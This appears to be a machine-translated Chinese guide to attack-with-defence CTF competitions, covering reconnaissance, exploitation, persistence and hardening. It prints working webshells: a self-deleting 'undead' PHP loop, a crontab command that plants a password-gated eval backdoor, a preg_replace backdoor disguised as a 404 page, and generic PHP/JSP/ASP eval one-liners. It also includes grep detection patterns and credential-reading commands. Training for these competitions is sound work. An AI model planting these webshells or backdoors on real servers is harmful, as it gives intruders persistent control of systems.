应用程序发现
apaech2.conf是主要的配置文件,而不是真正的具体配置文件。 它只是以包含的形式包含了各种分散的配置文件,如下图所示:
组件发现:
find / -name "nginx.conf" #定位nginx目录 find / -path "*nginx*" -name nginx*conf #定位nginx配置目录 find / -name "httpd.conf" #定位apache目录 find / -path "*apache*" -name apache*conf #定位apache配置目录
网站发现:
find / -name "index.php" #定位网站目录
日志发现:
/var/log/nginx/ #默认Nginx日志目录 /var/log/apache/ #默认Apache日志目录 /var/log/apache2/ #默认Apache日志目录 /usr/local/tomcat/logs #Tomcat日志目录 tail -f xxx.log #实时刷新滚动日志文件
以上是定位常用文件目录的命令或方法,比赛需要根据实际情况类比,好好利用find命令!
备份扫描
自动化扫描工具参考:
多进程批量网站备份文件泄露扫描工具
WEB网站目录扫描
攻击主机端口
端口使用的主要形式是未授权访问和弱口令漏洞。
未授权访问漏洞汇总参考:
常用端口总结参考:
一些参考工具:
九头蛇
超弱密码工具
数据库爆破工具
未经授权的检查工具
词典参考:
攻击WEB服务
一般情况下,通过访问获得的端口可以访问预设的WEB拍摄范围,如下图:
WEB上的语言大部分是PHP竞赛网站源码,少部分是Java和Python。 这里的WEB环境分为两种情况。
一种是存在漏洞的框架,一种是作者自己写的框架。 如果是存在漏洞的框架竞赛网站源码,通常会更加明显。 比如Struts2中的各种漏洞等,都可以用工具进行扫描。 这就需要好好规划一下,笔记本里准备好EXP库、漏洞库、各种扫描工具库,这样比较明显的漏洞才能快速被利用。
另一种情况是分析WEB日志,了解其他玩家的攻击思路和漏洞利用过程,这也是一个很好的得分方式。
不要忘记WEB后台的弱密码! !
漏洞数据库采集参考:
一些已知的漏洞检查工具参考:
支持被动和主动扫描
主机检测、端口爆破和漏洞检查
框架的批量使用
提升特权
现在活动很少直接给root权限了,就不说了。 但加固环节权威性低,执行难度大。 如果联盟允许的话,你可以尝试打包。
权限升级参考:
普通包装
权限提升脚本
权限维护
获得WEBSHELL后,需要维护权限! 简单的WEBSHELL一眼就能认出来。 AWD中,优先保留不死马、反弹SHELL等以侧门的形式维护权限,以便后期可以刷FLAG,然后再考虑增加权限。
隐藏文件读取
header(php'flag:'.file_get_contents('/tmp/flag'));
如果条件允许,直接读取flag信息,返回到头部,这样就不容易被检测到。
PHP仙马示例:
<?php ignore_user_abort(true); #客户机断开依旧执行 set_time_limit(0); #函数设置脚本最大执行时间。这里设置为0,即没有时间方面的限制。 unlink(__FILE__); 删除文件本身,以起到隐蔽自身的作用。 $file = '2.php'; $code = ''; while (1){ file_put_contents($file,$code); system('touch -m -d "2018-12-01 09:10:12" .2.php'); usleep(5000); } ?>
定时任务写马示例:
system('echo "* * * * * echo "<?php if(md5(\\\\$_POST[pass])=='7b7fdffef464019f7190d0384d5b3838'){@eval(\\\\$_POST[1]);} " > /var/www/html/.index.phpn* * * * * chmod 777 /var/www/html/.index.php" | crontab;whoami');
快速得分
一般编译Python脚本或者使用CURL工具批量获取FLAG分数都需要语言基础。
比分会实时动态显示在大屏幕上:
批量使用框架工具:
国防技术解析网站备份
目的是避免修改源代码出错,或者被对方恶意删除,或者当裁判组检查发现服务无法生存时,快速恢复网站,避免失分。
压缩文件:
tar -cvf web.tar /var/www/html zip -q -r web.zip /var/www/html
解压文件:
tar -xvf web.tar -c /var/www/html unzip web.zip -d /var/www/html
备份到服务器:
mv web.tar /tmp
mv web.zip /home/xxx
上传和下载文件:
scp username@servername:/path/filename /tmp/local_destination #从服务器下载单个文件到本地 scp /path/local_filename username@servername:/path #从本地上传单个文件到服务器 scp -r username@servername:remote_dir/ /tmp/local_dir #从服务器下载整个目录到本地 scp -r /tmp/local_dir username@servername:remote_dir #从本地上传整个目录到服务器
SSH相关工具:
Xshell、SecureCRT、finalshell
FTP相关工具:
FileZilla 、WinSCP、SmartFTP
数据备份
数据库配置信息通常可以通过config.php/web.conf等文件获取。
以MySQL数据库备份数据为例:
备份指定数据库:
mysqldump –u username –p password databasename > bak.sql
备份所有数据库:
mysqldump –all -databases > bak.sql
导入数据库:
mysql –u username –p password database < bak.sql
收集留言
netstat -ano/-a #查看端口情况 uname -a #系统信息 ps -aux、ps -ef #进程信息 cat /etc/passwd #用户情况 ls /home/ #用户情况 id #用于显示用户ID,以及所属群组ID find / -type d -perm -002 #可写目录检查 grep -r “flag” /var/www/html/ #查找默认FLAG
密码修改
信息收集后,将及时修复未经授权和弱密码问题,包括但不限于服务器SSH密码、数据库密码和WEB服务密码。
不要忘记更改WEB应用的后台密码! !
passwd username #ssh口令修改 set password for mycms@localhost = password('123'); #MySQL密码修改 find /var/www//html -path '*config*’ #查找配置文件中的密码凭证
备份检测
find /var/www/html/ -name "*.tar" find /var/www/html/ -name "*.zip"
后门检测
通过命令查看可疑文件:
find /var/www/html -name *.php -mmin -20 #查看最近20分钟修改文件 find ./ -name '*.php' | xargs wc -l | sort -u #寻找行数最短文件 grep -r --include=*.php '[^a-z]eval($_POST' /var/www/html #查包含关键字的php文件 find /var/www/html -type f -name "*.php" | xargs grep "eval(" |more
一般查杀:河马WEBSHELL和D盾查杀。
# phpwebshell <?php @eval($_GET['cmd']); ?> <?php @eval($_POST['cmd']); ?> <?php @eval($_REQUESTS['cmd']); ?>
# jspwebshell <%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
# aspwebshell <%eval request ("cmd")%> 或 <% execute(request("cmd")) %>
不死马查杀:杀掉进程后重启服务,写一个同名文件夹,写一个睡眠时间比别人高的马(或者写个脚本不断删除别人的马)
比如写个马依然杀死不死马进程:
<?php system("kill -9 pid;rm -rf .shell.php"); #pid和不死马名称根据实际情况定 ?>
查杀后门用户:UID小于500的为非系统账户,UID小于500的为系统保留的,使用userdel -r 用户名彻底删除该账户
其他查杀:有些侧门太隐蔽,可以使用ls -al命令查看所有文件及文件修改时间和内容来综合判断并删除。可以编写脚本定期清除上传目录、定时任务以及临时目录等
经典preg_replace伪装的404侧门示例:
使用hatchet连接密码:错误
<html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> </body></html> <?php @preg_replace("/[pageerror]/e",$_POST['error'],"saft"); header('HTTP/1.1 404 Not Found'); ?>
关闭进程
ps -aux #查看进程 kill -9 pid #强制进程查杀
关闭端口
netstat -anp #查看端口 firewall-cmd --zone= public --remove-port=80/tcp –permanent #关闭端口 firewall-cmd –reload #重载防火墙
Bug修复
做好漏洞修补工作,保证服务不会长时间宕机。 使用更多的安全过滤功能,并尝试尽可能多地打补丁。 如果无法修补,请先注释或删除相关代码,但需要保证页面正常显示。
您可以将文件下载到本地进行更改然后上传到服务器进行覆盖操作,也可以通过vim编辑器直接进行代码修补操作!
维修参考:
一般错误修复建议
安全功能
文件监控
文件监控可以及时生成木马文件,并及时删除,避免丢分。
文件监控脚本:
部署Web应用防火墙
竞争规则决定了是否可以部署WAF和监控工具。 WAF 有两个方面。 在抵御大多数攻击的同时,可能会因个别功能使用困难而导致服务宕机。 WAF可以自己编写,也可以使用安全狗等第三方WAF。
常见PHP网站系统WAF添加路径:
DiscuzX2 configconfig_global.php
Wordpress wp-config.php
Metinfo includehead.php
PHPCMS V9 phpcmsbase.php
PHPWIND8.7 datasql_config.php
DEDECMS5.7 datacommon.inc.php
WAF脚本参考:
参考
关于Awd的总结
全轮驱动比赛套路